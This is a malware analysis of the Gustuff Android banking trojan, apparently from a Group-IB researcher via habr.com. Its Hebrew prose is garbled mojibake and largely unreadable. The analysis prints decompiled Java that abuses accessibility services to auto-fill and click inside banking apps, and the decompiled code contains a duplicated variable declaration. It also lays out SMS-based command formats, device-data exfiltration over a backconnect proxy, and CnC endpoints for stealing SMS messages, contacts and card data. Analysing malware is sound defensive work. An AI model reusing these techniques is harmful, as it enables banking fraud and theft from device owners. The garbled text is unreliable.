- ืืคืชืื - ืืฆื ืืืื ืืืื. ืืืชืื ืืคืจืืืจ ืืืืืข ืืืฉืจืช, ืืืคืืืงืฆืื ืขืฉืืื ืืืฆืื ืืช ืืืื ืืช ืืืชืืืืช ืืืืื:
- ืืฆื ืืืื ืืืื ืฉืชืืื ื ืืชืื ืืงืืืฅ ืืกืคืจืื <%ืกืคืจืืื ืืืฆืื ืืช%>/hgps/<%param_filename%>. ืชืืฆืืช ืืืื ืืจืืงืฆืื ืฉื ืืืฉืชืืฉ ืขื ืืืืื ืชืืฉืื ืื <%CnC%>/records.php
- ืืฆื ืืืื ืืืื ืฉืืชืืื ืฉืื ื ืืขื ืืจืืฉ ืืืืชืืืช <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ืชืืฆืืช ืืืื ืืจืืงืฆืื ืฉื ืืืฉืชืืฉ ืขื ืืืืื ืชืืฉืื ืื <%CnC%>/records.php
- ืืฆื ืืืื ืืืื ืืืกืืื ืฉื ืืจืืืก Google Play.
- ืืื ืืจืืงืืืื - ืืคืงืืื ื ืืขืื ืืงืืื ืืื ืืจืืงืฆืื ืขื ืจืืืื ืืืื ืฉื ืืืฉืืืื ืืืจืื ืืืืฆืขืืช AcessibilityService. ืฉืืจืืช ืืืืื ืืืคืขื ืืชืืื ืืช ืืืื ืืจืืงืฆืื. ืืืคืืืงืฆืื ืื ืืงืจืช ืืืืื ืืืฆืืจ ืืื ืืจืืงืฆืื ืขื ืืืื ืืช:
- ืคืขืื ืืจืืข. ืืืงืจื ืื, ืืคืจืืืจ ืืืื ืืช ืืืืื ืื ืืืงืกื (ืฉื) ืฉื ืืืืืืืงื ืฉืืืชื ืืชื ืฆืจืื ืืงืืื ืืื ืืจืืงืฆืื.
- ืืืื ืืืฉืชืืฉ ืืืื ืืืฆืืข ืืคืงืืื. ืืืืฉืื ืืืืจ ืืืื ืืช ืืคื ืืืื.
ืืืืจ ืงืืืช ืืคืฆืื AccessibilityNodeInfo ืขืืืจ ืจืืืื ืืืื ืืขื ืืื ืื, ืืืคืืืงืฆืื, ืืืชืื ืืคืจืืืจืื, ืืืืื ืืืฆืข ืืช ืืคืขืืืืช ืืืืืช:
- ืคืืงืืก - ืืืืจ ืืช ืืืืงืื ืืืืืืืงื.
- ืืืฅ - ืืืฅ ืขื ืืืืืืงื.
- actionId - ืืฆืข ืคืขืืื ืืคื ID.
- setText - ืฉื ื ืืช ืืืงืกื ืฉื ืืืืืืงื. ืฉืื ืื ืืืงืกื ืืคืฉืจื ืืฉืชื ืืจืืื: ืืืฆืืข ืคืขืืื ACTION_SET_TEXT (ืื ืืจืกืช ืืื ืืจืืืื ืฉื ืืืืฉืืจ ืื ืืืข ืฆืขืืจื ืื ืฉืืื ื LOLLIPOP), ืื ืขื ืืื ืื ืืช ืืืจืืืช ืขื ืืืื ืืืืืงื ืืืืืืืงื (ืืืจืกืืืช ืืฉื ืืช ืืืชืจ). ื ืืชื ืืืฉืชืืฉ ืืคืงืืื ืื ืืื ืืฉื ืืช ื ืชืื ืื ืืืคืืืงืฆืื ืื ืงืืืช.
2. PARAMS_ACTIONS - ืืื PARAMS_ACTION, ืืืืข ืจืง ืืขืจื JSON ืฉื ืคืงืืืืช.
ื ืจืื ืฉืื ืฉืื ืจืืื ืืชืขื ืืื ื ืืืฆื ื ืจืืืช ืืคืื ืงืฆืื ืฉื ืืื ืืจืืงืฆืื ืขื ืจืืืื ืืืื ืฉื ืืคืืืงืฆืื ืืืจืช. ืื ืืืืฉืืช ืืคืื ืงืฆืืื ืืืืช ืืื ื-Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
ืคืื ืงืฆืืืช ืืืืคืช ืืงืกื:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
ืื, ืขื ืชืฆืืจื ื ืืื ื ืฉื ืฉืจืช ืืืงืจื, Gustuff ืืกืืืืช ืืืื ืฉืืืช ืืงืกื ืืืคืืืงืฆืืืช ืืื ืงืืืช ืืืืืืฅ ืขื ืืืคืชืืจืื ืืืจืืฉืื ืืืฉืืืช ืืขืกืงื. ืืืจืืืื ื ืืคืืื ืื ืฆืจืื ืืืืื ืก ืืืคืืืงืฆืื - ืืกืคืืง ืืฉืืื ืคืงืืื ืืื ืืืฆืื ืืืืขืช PUSH ืืื ืืคืชืื ืืช ืืคืืืงืฆืืืช ืืื ืงืืืช ืฉืืืชืงื ื ืงืืื ืืื. ืืืฉืชืืฉ ืืืืช ืืช ืขืฆืื, ืืืืืจ ืืื ืืืื Gustuff ืืืื ืืช ืืืืื ืืช.
ืืืืื ืขืืืื ืืืืขืืช SMS
ืืืืฉืื ืืชืงืื ืืืคื ืืืืจืืขืื ืขืืืจ ืืืืฉืืจ ืื ืืืข ืืื ืืงืื ืืืืขืืช SMS. ืืืคืืืงืฆืื ืื ืืืงืช ืืืืื ืืงืื ืคืงืืืืช ืืืืคืขืื, ืืืืืขืืช ืืืืฃ ืืืืขืช ื-SMS. ืืคืงืืืืช ืืืืขืืช ืืคืืจืื:
7!5=<ืคืงืืื ืืงืืืืช%Base64%>
ืืืคืืืงืฆืื ืืืคืฉืช ืืช ืืืืจืืืช ืืื ืืืืขืืช ื-SMS ืื ืื ืกืืช 7!5=, ืืืฉืจ ืืืจืืืช ืืืืื, ืืื ืืคืขื ื ืืช ืืืืจืืืช ื-Base64 ืืืืกื 4 ืืืืฆืข ืืช ืืคืงืืื. ืืคืงืืืืช ืืืืืช ืืืื ืขื CnC. ืชืืฆืืช ืืืืฆืืข ื ืฉืืืช ืืืืชื ืืกืคืจ ืฉืืื ื ืืืืขื ืืคืงืืื. ืคืืจืื ืชืืืื:
7*5=<ืงืืืื%Base64 ืฉื "ืคืงืืื ืชืืฆืื_ืงืื"%>
ืืืืืคืื, ืืืคืืืงืฆืื ืืืืื ืืฉืืื ืืช ืื ืืืืืขืืช ืฉืืชืงืืื ืืืกืคืจ ืืฉืืจืฉ. ืืฉื ืื, ืืฉ ืืฆืืื ืืช ืืกืคืจ ืืฉืืจืฉ ืืงืืืฅ ืืืขืืคืืช ืืืืืืืจ ืืช ืืื ืืคื ืืืช ืืืืืขื. ืืืืขืช SMS ื ืฉืืืช ืืืกืคืจ ืฉื ืืชืืงืฃ ืืคืืจืื:
<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
ืืื ืื, ืืืืืคืื, ืืืคืืืงืฆืื ืืืืื ืืฉืืื ืืืืขืืช ื-CnC. ืืืืขืช ื-SMS ื ืฉืืืช ืืฉืจืช ืืคืืจืื JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
ืื ืืืื ืืืืืจ nameGenerator("DEFAULT_APP_SMS") โ ืืืคืืืงืฆืื ืืคืกืืงื ืืขืื ืืช ืืืืขืช ื-SMS ืืื ืงื ืืช ืจืฉืืืช ืืืืืขืืช ืื ืื ืกืืช.
ืืืืื ืคืจืืงืกื
ืืืคืืืงืฆืื ืื ืืืงืช ืืืืื ืืืืื Backconnect Proxy (ืืืื ืืืืื Proxy), ืืขื ืืืืงื ื ืคืจืืช ืืืืืืช ืฉืืืช ืกืืืืื ืขื ืชืฆืืจื. ื ืชืื ื ืืชืฆืืจื ืืืืืกื ืื ืืืืืื ืืฆืืจื ืืจืืจื:
ืื ืืคืขืืืืช ืฉืืืฆืขื ืขื ืืื ืืืืื ื-Proxy ืืืืืจืืช ืืงืืฆืื. ืืฉื ืื, ืืืคืืืงืฆืื ื-External Storage ืืืฆืจืช ืกืคืจืืื ืืฉื "logs" (ืืฉืื ProxyConfigClass.logsDir ืืืืืงืช ืืชืฆืืจื), ืฉืื ืืืืืกื ืื ืงืืฆื ืืืื. ืจืืฉืื ืืชืจืืฉ ืืงืืฆืื ืขื ืฉืืืช:
- main.txt - ืืขืืืื ืฉื ืืืืืงื ืฉื ืงืจืืช CommandServer ืืืืืจืช ืืงืืืฅ ืื. ืืืืฉื, ืจืืฉืื ืืืืจืืืช str ืืงืืืฅ ืื ืืกืืื ื-mainLog(str).
- session-<%id%>.txt - ืงืืืฅ ืื ืฉืืืจ ื ืชืื ื ืืืื ืืงืฉืืจืื ืืืคืขืืช ืคืจืืงืกื ืกืคืฆืืคืืช. ืืืืฉื, ืจืืฉืื ืืืืจืืืช str ืืงืืืฅ ืื ืืกืืื ื-sessionLog (str).
- server.txt - ืงืืืฅ ืื ืืฉืืฉ ืืชืืขืื ืื ืื ืชืื ืื ืฉื ืืชืื ืืงืืฆืื ืืืชืืืจืื ืืขืื.
ืคืืจืื ื ืชืื ื ืืืื:
<%Date%> [Thread[<%thread id%>], id[]]: log-string
ืืจืืืื ืืืชืจืืฉืื ืืืืื ืคืขืืืช ืืืืื ื-Proxy ื ืจืฉืืืช ืื ืืงืืืฅ. ืืฉื ืื, ืืืืฉืื ืืืฆืจ ืืืืืืงื JSON ืืคืืจืื ืืื:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
ืืืืจ ืืื ืืื ืืืืจ ืืืชื ืืืืฆืื ืืืจืืืช ืืืชืขื ืืืชื.
ืืืืื ื-Proxy ืืืคืขื ืืืืจ ืงืืืช ืืคืงืืื ืืืชืืืื. ืืืฉืจ ืืชืงืืืช ืคืงืืื ืืืคืขืืช ืืืืื ื-Proxy, ืืืคืืืงืฆืื ืืคืขืืื ืฉืืจืืช ืฉื ืงืจื MainService, ืฉืืืจืืืช ืขื ื ืืืื ืคืขืืืช ืืืืื ื-Proxy - ืืคืขืืชื ืืขืฆืืจืชื.
ืฉืืื ืชืืืืช ืืฉืืจืืช:
1. ืืคืขืื ืืืืืจ ืฉืคืืขื ืคืขื ืืืงื ืืืืืง ืืช ืืคืขืืืืช ืฉื ืืืืื ื-Proxy. ืื ืืืืืื ืืื ื ืคืขืื, ืืื ืืคืขืื ืืืชื.
ืื ืืืฉืจ ืืืืจืืข ืืืคืขื android.net.conn.CONNECTIVITY_CHANGE ืืืืื ื-Proxy ืืืคืขื.
2. ืืืคืืืงืฆืื ืืืฆืจืช Wake-lock ืขื ืืคืจืืืจ PARTIAL_WAKE_LOCK ืืชืืคืก ืืืชื. ืื ืืื ืข ืืืืขืื ืฉื ืืืืฉืืจ ืืขืืืจ ืืืฆื ืฉืื ื.
3. ืืคืขืื ืืช ืืืืงืช ืขืืืื ืืคืงืืืืช ืฉื ืืืืื ื-Proxy, ืชืืืื ืจืืฉื ืืช ืืฉืืจื mainLog("ืืชืื ืฉืจืช") ะธ
Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
ืืืคื proxy_cnc, command_port ื-proxy_port โ ืคืจืืืจืื ืืืชืงืืืื ืืชืฆืืจืช ืฉืจืช ื-Proxy.
ืืืืงืช ืขืืืื ืืคืงืืืืช ื ืงืจืืช CommandConnection. ืืื ืืืืจ ืืืคืขืื, ืืืฆืข ืืช ืืคืขืืืืช ืืืืืช:
4. ืืชืืืจ ื ProxyConfigClass.host: ProxyConfigClass.commandPort ืืฉืืื ื ืชืื ืื ืขื ืืืืฉืืจ ืื ืืืข ืืฉื ืืคืืจืื JSON:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
ืืืคื:
- id - ืืืื, ืื ืกื ืืงืื ืขืจื ืขื ืืฉืื "id" ืืงืืืฅ ืืขืืคืืช ืืฉืืชืคืืช ืืฉื "x". ืื ืื ื ืืชื ืืื ืืืฉืื ืขืจื ืื, ืืื ืืืฆืจ ืขืจื ืืืฉ. ืืคืืื, ืืืืืื ื-Proxy ืืฉ ืืืื ืืฉืื, ืืฉืจ ื ืืฆืจ ืืืืื ืืืืื ืืืื.
- imei - IMEI ืฉื ืืืืฉืืจ. ืื ืืืจืขื ืฉืืืื ืืืืื ืชืืืื ืงืืืช ืืขืจื, ืืืงืื ืฉืื ืื ืชืืืชื ืืืืขืช ืืงืกื ืฉืืืื.
- imsi - ืืืืช ืื ืื ืกืืืืจื ืืื ืืืืื ืฉื ืืืืฉืืจ. ืื ืืืจืขื ืฉืืืื ืืืืื ืชืืืื ืงืืืช ืืขืจื, ืืืงืื ืฉืื ืื ืชืืืชื ืืืืขืช ืืงืกื ืฉืืืื.
- ืืื - ืืฉื ืืืืื ืืืฉืชืืฉ ืืงืฆื ืฉื ืืืืฆืจ ืืกืืคื.
- ืืฆืจื - ืืืฆืจื ืฉื ืืืืฆืจ/ืืืืจื (Build.MANUFACTURER).
- androidVersion - ืืืจืืืช ืืคืืจืื "<%release_version%> (<%os_version%>),<%sdk_version%>"
- ืืืื ื - ืืืืงืื ืื ืืืื ืฉื ืืืืฉืืจ.
- partnerId ืืื ืืืจืืืช ืจืืงื.
- packageName - ืฉื ืืืืื.
- networkType - ืกืื ืืืืืจ ืืจืฉืช ืื ืืืื (ืืืืืื: "WIFI", "ืืืืืื"). ืืืงืจื ืฉื ืฉืืืื, ืืืืืจื null.
- hasGsmSupport - ื ืืื - ืื ืืืืคืื ืชืืื ื-GSM, ืืืจืช ืื ื ืืื.
- simReady - ืืฆื ืืจืืืก ื-SIM.
- simCountry - ืงืื ืืืื ื ISO (ืืืืกืก ืขื ืกืคืง ืืจืืืก ื-SIM).
- networkOperator โ ืฉื ืืคืขืื. ืื ืืืจืขื ืฉืืืื ืืืืื ืชืืืื ืงืืืช ืืขืจื, ืืืงืื ืฉืื ืื ืชืืืชื ืืืืขืช ืืงืกื ืฉืืืื.
- simOperator - ืฉื ืกืคืง ืืฉืืจืืช (SPN). ืื ืืืจืขื ืฉืืืื ืืืืื ืชืืืื ืงืืืช ืืขืจื, ืืืงืื ืฉืื ืื ืชืืืชื ืืืืขืช ืืงืกื ืฉืืืื.
- ืืจืกื - ืฉืื ืื ืืืืืกื ืืืืืงืช ืืชืฆืืจื; ืขืืืจ ืืืจืกืืืช ืฉื ืืืงื ืฉื ืืืื ืื ืืื ืฉืืื ื-"1.6".
5. ืขืืืจ ืืืฆื ืืืชื ื ืืคืงืืืืช ืืืฉืจืช. ืคืงืืืืช ืืืฉืจืช ืืืืขืืช ืืคืืจืื:
- 0 ืืืกื - ืคืงืืื
- ืืืกื 1 - ืืืืื ืืคืขืื
- 2 ืืืคืกื - ืืืจื
- 4 ืืืกื - ื ืชืื ืื
ืืืฉืจ ืืืืขื ืคืงืืื, ืืืคืืืงืฆืื ืืชืขืืช:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")
ืืคืงืืืืช ืืืืืช ืืืฉืจืช ืืคืฉืจืืืช:
ืฉื | ืคืืงืื | ื ืชืื ืื | ืชืืืืจ |
---|---|---|---|
connectionId | 0 | ืืืื ืืืืืจ | ืฆืืจ ืงืฉืจ ืืืฉ |
ืืืฉืื | 3 | ืึฐืึทื | ืืฉืื ืืช ืืืืื ื-Proxy |
ืคืื ื ืคืื ื | 4 | - | ืฉืื ืืืืขืช PONG |
ืืืืขืช PONG ืืืจืืืช ื-4 ืืชืื ืื ืจืืืช ืื: 0x04000000.
ืืืฉืจ ืืคืงืืื connectionId ืืชืงืืืช (ืืื ืืืฆืืจ ืืืืืจ ืืืฉ) CommandConnection ืืืฆืจ ืืืคืข ืฉื ืืืืงื ProxyConnection.
- ืฉื ื ืืืชืืช ืืืงืืืช ืืืง ื-proxying: ProxyConnection ะธ ืกืืฃ. ืืขืช ืืฆืืจืช ืืืชื ProxyConnection ืืชืืืจ ืืืชืืืช ProxyConfigClass.host: ProxyConfigClass.proxyPort ืืืขืืจืช ืืืืืืงื JSON:
{
"id":<%connectionId%>
}
ืืชืืืื, ืืฉืจืช ืฉืืื ืืืืขืช SOCKS5 ืืืืืื ืืช ืืชืืืช ืืฉืจืช ืืืจืืืง ืืืชื ืืฉ ืืืฆืืจ ืืช ืืืืืืจ. ืืื ืืจืืงืฆืื ืขื ืฉืจืช ืื ืืชืจืืฉืช ืืจื ืืืืืงื ืกืืฃ. ื ืืชื ืืืืฆื ืืช ืืืืจืช ืืืืืืจ ืืืืคื ืกืืืื ืืืืคื ืืื:
ืืื ืืจืืงืฆืืืช ืืจืฉืช
ืืื ืืื ืืข ื ืืชืื ืชืขืืืจื ืขื ืืื ืกื ืืคืจืื ืืจืฉืช, ื ืืชื ืืืื ืขื ืืืื ืืจืืงืฆืื ืืื ืฉืจืช ื-CnC ืืืืคืืืงืฆืื ืืืืฆืขืืช ืคืจืืืืงืื SSL. ืื ืื ืชืื ืื ืืืืขืืจืื ืื ืืืฉืจืช ืืื ืืืื ืืืฆืืื ืืคืืจืื JSON. ืืืคืืืงืฆืื ืืืฆืขืช ืืช ืืืงืฉืืช ืืืืืช ืืืืื ืืคืขืืื:
- http://<%CnC%>/api/v1/set_state.php - ืืชืืฆืื ืฉื ืืืฆืืข ืืคืงืืื.
- http://<%CnC%>/api/v1/get.php - ืงืืืช ืคืงืืื.
- http://<%CnC%>/api/v1/load_sms.php โ ืืืจืืช ืืืืขืืช SMS ืืืืฉืืจ ื ืืืข.
- http://<%CnC%>/api/v1/load_ab.php - ืืขืืืช ืจืฉืืื ืฉื ืื ืฉื ืงืฉืจ ืืืืฉืืจ ื ืืืข.
- http://<%CnC%>/api/v1/aevents.php โ ืืืงืฉื ืืชืืฆืขืช ืืขืช ืขืืืื ืคืจืืืจืื ืื ืืฆืืื ืืงืืืฅ ืืืขืืคืืช.
- http://<%CnC%>/api/v1/set_card.php - ืืขืืืช ื ืชืื ืื ืฉืืืฉืื ืืืืฆืขืืช ืืืื ืืืื ืืืชืืื ื-Google Play Market.
- http://<%CnC%>/api/v1/logs.php - ืืขืืืช ื ืชืื ื ืืืื.
- http://<%CnC%>/api/v1/records.php - ืืขืืืช ื ืชืื ืื ืฉืืชืงืืื ืืจื ืืืื ืืช ืืืื.
- http://<%CnC%>/api/v1/set_error.php - ืืืืขื ืขื ืฉืืืื ืฉืืชืจืืฉื.
ืืืืฆืืช
ืขื ืื ืช ืืืื ืขื ืืงืืืืชืืื ืืคื ื ืืืืื ืฉื ืกืืกืื ืืจืืืื ืืื ื ืืืืื, ืืืจืืช ืืืืืืช ืืืฉืชืืฉ ืืคืชืจืื ืืช ืืงืืคืื ืืืืคืฉืจืื ืืื ืื ืืจ ืืืื ืืข ืคืขืืืืช ืืืื ืืช ืืืื ืืืชืงืื ืชืืื ื ื ืืกืคืช ืืืืฉืืจื ืืืฉืชืืฉ.
ืืฉื ืื, ืืฉ ืืืืง ืืช ืฉืืืืช ืืืชืืื ืืืืืื ืกืืกืื ืืจืืืื ืืื ื ืืืืื ืืืื ืืืืืืืช ืื ืืชืื ืืชื ืืืืช ืืืงืื ืืืืคืืืงืฆืื ืขืฆืื. ืืืื ื ืฆืจืืื ืืืืื ืื ืคืื ืงืฆืืืช ืืืืื ืืืฉืืจ ืืืื ืืืืืืืช ืืืืขืช ืืฆืืข ืืืืืืืืช, ืฉืชืืคืฉืจ ืืืืื ืืชื ื ืขืฉื ืฉืืืืฉ ืืืฉืืื ืืืืฉืืจ ืื ืืืคืืกื ืืืืจ ื ืคื ืืืืื ืฉื ืจืืื.
ื ืงืืื ืืฉืืื ืืืกืืื ืืื ืืืืื ืืช ืฉื ื ืืชืื ืืืฆื-ืขืจืืฆืื, ืืืืคืฉืจ ืืืืจืืช ืืฉืืื ืืกืืืื ืื ืื ืืืขืื ืื ืจืง ืืืื ืืจื ื, ืืื ืื ืืขืจืืฅ ืื ืืื, ืืืฉื, ืืืืฉืืืื ืืื ืงืืืช ืกืืืืจืืช, ืขืืืจ ืขืกืงืืืช ืขื ืืืืขืืช ืงืจืืคืืืืจืคืืื ืืื ืืงืื ืืืจ. ื ืืชื ืืืฆืข ืขืกืงืืืช.ืขืกืงื ืคืื ื ืกืืช.
ืืืื ืืืืืืช ืืืฉืชืืฉืื:
- ืื ืชืชืงืื ืืคืืืงืฆืืืช ืืืืฉืืจ ื ืืื ืขื ืืขืจืืช ืืคืขืื ืื ืืจืืืื ืืื ืืงืืจืืช ืืืจืื ืืืื Google Play, ืฉืืื ืื ืืืืืื ืืืืืืืช ืืืืืงืฉืืช ืขื ืืื ืืืคืืืงืฆืื;
- ืืชืงื ืืืืคื ืงืืืข ืขืืืื ื ืืขืจืืช ืืคืขืื ืื ืืจืืืื;
- ืฉืืื ืื ืืืจืืืืช ืฉื ืงืืฆืื ืฉืืืจืื;
- ืื ืชืืงืจ ืืืฉืืืื ืืฉืืืื;
- ืืื ืืืืืฅ ืขื ืงืืฉืืจืื ืฉืืชืงืืื ืืืืืขืืช SMS.
ืืืื ืกืืืื ืจืืืืฆ'ืื, ืืืืื ืืืืจ ืืืงืจ ืชืืื ืืช ืืืื ืืืช ืืืขืืื ืืืืืื ืคืืืื ืืืฉืืื Group-IB.
ืืงืืจ: www.habr.com